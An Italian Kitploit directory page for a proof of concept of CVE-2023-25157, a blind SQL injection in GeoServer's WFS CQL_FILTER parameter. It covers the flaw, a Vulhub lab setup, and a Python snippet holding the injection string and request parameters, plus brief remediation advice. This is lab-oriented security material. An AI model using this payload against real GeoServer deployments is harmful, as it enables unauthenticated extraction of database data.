Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
geoserver-CVE-2023-25157 — Exploit proof-of-concept per CVE-2023-25157, una vulnerabilità di SQL injection cieca nel parametro WFS CQL_FILTER di GeoServer, che consente l'estrazione non autenticata dei dati. | Kitploit
Strumenti/GitHubGitHub/custiya/geoserver-cve-2023-25157
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

Exploit proof-of-concept per CVE-2023-25157, una vulnerabilità di SQL injection cieca nel parametro WFS CQL_FILTER di GeoServer, che consente l'estrazione non autenticata dei dati.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1 anno faNon ancora revisionato

geoserver CVE-2023-25157

Kim Jeong-woo, [30B] White Hat 3rd Generation


Link GitHub - https://github.com/custiya/geoserver-CVE-2023-25157

Riepilogo della vulnerabilità

  • CVE-2023-25157 è una vulnerabilità SQLi che colpisce GeoServer, un'applicazione web open source per servizi di dati cartografici
  • Si verifica in alcune versioni di GeoServer fino alla 2.22.0
  • Il parametro CQL_FILTER nelle richieste WFS (Web Feature Service) è vulnerabile
  • Chiunque può sfruttarla se può accedere all'API senza autenticazione

Configurazione dell'ambiente

  • Eseguire l'ambiente di test con il comando docker compose up -d
  • Accedere alla pagina all'indirizzo http://your-ip:8080/geoserver
  • Prima di tutto, è necessario trovare un workspace esistente che contenga un datastore PostGIS
  • Nell'istanza GeoServer di Vulhub è già presente un datastore PostGIS
    • Nome workspace: vulhub
    • Nome datastore: pg
    • Nome tabella: example
    • Attributo utilizzato: name

poc.py

  • Basato su quanto descritto sopra, costruisce una sintassi sqli
  • Invio della sintassi al server utilizzando il modulo request
  • strStartsWith(name,'x'') = true
    • Aggiunge un altro apostrofo dopo la 'x', rompendo la sintassi SQL
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • La funzione version() restituisce la versione corrente di PostgreSQL ed è una stringa
    • CAST(... AS integer) forza la conversione in intero, causando un errore
    • Il server restituisce un messaggio di errore, consentendo il test di Blind SQL Injection
root@kitploit:~
# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}

Risultato

Alt text

Conclusione

  • Attraverso questo PoC è stato possibile rilevare la presenza di SQLi. Un attaccante potrebbe raccogliere informazioni di sistema tramite query SQL.
  • Per prevenire questo attacco, è necessario aggiungere la validazione dell'input utente. Inoltre, l'istruzione SQL ricevuta non dovrebbe essere utilizzata direttamente, ma archiviata separatamente e poi utilizzata.
Scarica lo strumento